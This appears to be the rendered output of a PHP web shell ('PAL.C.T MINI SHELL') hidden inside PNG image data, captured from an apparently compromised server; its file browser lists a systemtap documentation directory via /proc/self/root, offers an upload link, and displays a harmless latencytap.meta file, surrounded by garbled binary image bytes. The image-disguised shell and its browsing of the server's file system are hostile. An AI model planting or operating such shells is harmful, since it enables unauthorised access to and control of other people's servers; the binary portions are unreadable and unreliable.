php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/systemtap-client-2.9/examples/profiling/
upload
files >> //proc/self/root/usr/share/doc/systemtap-client-2.9/examples/profiling/latencytap.meta

title: Show Reasons and Durations for Processes Sleeping
name: latencytap.stp
version: 1.0
author: William Cohen
keywords: _best profiling
subsystem: any
status: experimental
exit: user-controlled
output: sorted-list
scope: system-wide
description: The latencytap.stp script collects data on the intervals processes are deactivated (sleeping).  The script categorizes the reasons for the sleeps by analyzing the backtraces and displays a sorted list of the top 20 causes from largest total sum time sleeping to smallest. The output is updated every 30 seconds. The script needs to be compiled with the '--all-modules' option to produce reasons for sleeps caused by modules.  Optionally, this script can be used with the '-c' or '-x' options to focus on a specific PID.
test_check: stap -p4 --all-modules latencytap.stp
test_installcheck: stap latencytap.stp --all-modules -c "sleep 1"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`